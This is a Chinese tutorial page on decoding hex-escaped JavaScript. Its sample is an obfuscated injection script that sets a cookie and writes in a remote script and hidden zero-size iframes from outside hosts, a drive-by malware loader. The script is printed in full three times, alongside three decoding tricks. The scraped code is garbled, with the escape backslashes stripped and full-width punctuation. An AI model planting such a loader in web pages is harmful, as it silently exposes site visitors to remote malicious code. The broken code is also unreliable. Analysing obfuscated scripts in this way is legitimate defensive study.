首页 / 脚本样式 / JavaScript / 一段超强的javascript代码解密方法

复制代码 代码如下:
function Get（）{
var $qL1 = new window["x44x61x74x65"]（） 
$qL1["x73x65x74x54x69x6dx65"]（$qL1["x67x65x74x54x69x6dx65"]（） + 24*60*60*1000）
var vuICgd2 = new window["x53x74x72x69x6ex67"]（window["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"]）
var JHasS3 = "x43x6fx6fx6bx69x65x31x3d" 
var wUhao4 = vuICgd2["x69x6ex64x65x78x4fx66"]（JHasS3）
if （wUhao4 ！= -1）{ 
} else 
{ window["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"] = "x43x6fx6fx6bx69x65x31x3dx50x4fx50x57x49x4ex31x3bx65x78x70x69x72x65x73x3d"+ $qL1["x74x6fx47x4dx54x53x74x72x69x6ex67"]（） 
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx48x54x4dx4cx3e"）;
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx42x4fx44x59 x73x74x79x6cx65x3d"x43x55x52x53x4fx52x3a x75x72x6cx28x68x74x74x70x3a//x31x2ex35x32x30x73x62x2ex63x6e/x61x64x2ex6ax70x67x29"x3ex3c/x42x4fx44x59x3e"）;
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3c/x48x54x4dx4cx3e "）;
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx73x63x72x69x70x74 x73x72x63x3d"x68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x30x36x31x34x2ex6ax73"x3ex3c/x73x63x72x69x70x74x3e"）;
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx69x66x72x61x6dx65 x73x72x63x3dx68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x6dx6dx2ex68x74x6dx6c x77x69x64x74x68x3dx30 x68x65x69x67x68x74x3dx30x3ex3c/x69x66x72x61x6dx65x3e"）;
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx69x66x72x61x6dx65 x73x72x63x3dx68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x74x6ax2ex68x74x6d x77x69x64x74x68x3dx30 x68x65x69x67x68x74x3dx30x3ex3c/x69x66x72x61x6dx65x3e"）;
}
}Get（）;

解密上面的代码的几种方法：
方法一：
不过是把字符转换成16进制的转义值而以！直接用alert就可以知道意思了
<script> alert（"function Get（）{var $qL1 = new window["x44x61x74x65"]（） $qL1["x73x65x74x54x69x6dx65"]（$qL1["x67x65x74x54x69x6dx65"]（） + 24*60*60*1000）var vuICgd2 = new window["x53x74x72x69x6ex67"]（window["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"]）var JHasS3 = "x43x6fx6fx6bx69x65x31x3d" var wUhao4 = vuICgd2["x69x6ex64x65x78x4fx66"]（JHasS3）if （wUhao4 ！= -1）{ } else { window["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"] = "x43x6fx6fx6bx69x65x31x3dx50x4fx50x57x49x4ex31x3bx65x78x70x69x72x65x73x3d"+ $qL1["x74x6fx47x4dx54x53x74x72x69x6ex67"]（） window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx48x54x4dx4cx3e"）;window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx42x4fx44x59 x73x74x79x6cx65x3d"x43x55x52x53x4fx52x3a x75x72x6cx28x68x74x74x70x3a//x31x2ex35x32x30x73x62x2ex63x6e/x61x64x2ex6ax70x67x29"x3ex3c/x42x4fx44x59x3e"）;window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3c/x48x54x4dx4cx3e "）;window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx73x63x72x69x70x74 x73x72x63x3d"x68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x30x36x31x34x2ex6ax73"x3ex3c/x73x63x72x69x70x74x3e"）;window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx69x66x72x61x6dx65 x73x72x63x3dx68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x6dx6dx2ex68x74x6dx6c x77x69x64x74x68x3dx30 x68x65x69x67x68x74x3dx30x3ex3c/x69x66x72x61x6dx65x3e"）;window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx69x66x72x61x6dx65 x73x72x63x3dx68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x74x6ax2ex68x74x6d x77x69x64x74x68x3dx30 x68x65x69x67x68x74x3dx30x3ex3c/x69x66x72x61x6dx65x3e"）;}}Get（）;"） </script>
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方法二：
<script> function Get（）{ var $qL1 = new window["x44x61x74x65"]（）$qL1["x73x65x74x54x69x6dx65"]（$qL1["x67x65x74x54x69x6dx65"]（） + 24*60*60*1000） var vuICgd2 = new window["x53x74x72x69x6ex67"]（window["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"]） var JHasS3 = "x43x6fx6fx6bx69x65x31x3d"var wUhao4 = vuICgd2["x69x6ex64x65x78x4fx66"]（JHasS3） if （wUhao4 ！= -1）{} else{ window["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"] = "x43x6fx6fx6bx69x65x31x3dx50x4fx50x57x49x4ex31x3bx65x78x70x69x72x65x73x3d"+ $qL1["x74x6fx47x4dx54x53x74x72x69x6ex67"]（）window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx48x54x4dx4cx3e"）; window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx42x4fx44x59 x73x74x79x6cx65x3d"x43x55x52x53x4fx52x3a x75x72x6cx28x68x74x74x70x3a//x31x2ex35x32x30x73x62x2ex63x6e/x61x64x2ex6ax70x67x29"x3ex3c/x42x4fx44x59x3e"）; window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3c/x48x54x4dx4cx3e "）; window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx73x63x72x69x70x74 x73x72x63x3d"x68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x30x36x31x34x2ex6ax73"x3ex3c/x73x63x72x69x70x74x3e"）; window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx69x66x72x61x6dx65 x73x72x63x3dx68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x6dx6dx2ex68x74x6dx6c x77x69x64x74x68x3dx30 x68x65x69x67x68x74x3dx30x3ex3c/x69x66x72x61x6dx65x3e"）; window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]（"x3cx69x66x72x61x6dx65 x73x72x63x3dx68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x74x6ax2ex68x74x6d x77x69x64x74x68x3dx30 x68x65x69x67x68x74x3dx30x3ex3c/x69x66x72x61x6dx65x3e"）; } } </script> <script> alert（unescape（document.scripts[0].innerHTML.replace（/（\x）/gi,"%"）））; </script>
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方法三：
<script> var box = opener.document.getElementsByTagName（"textarea"）[0]; box.value = unescape（box.value.replace（/\x/g, "%"））; box.offsetParent.scrollIntoView（）; alert（"转换完毕，请欣赏 1 楼代码。"）; self.close（）; </script>
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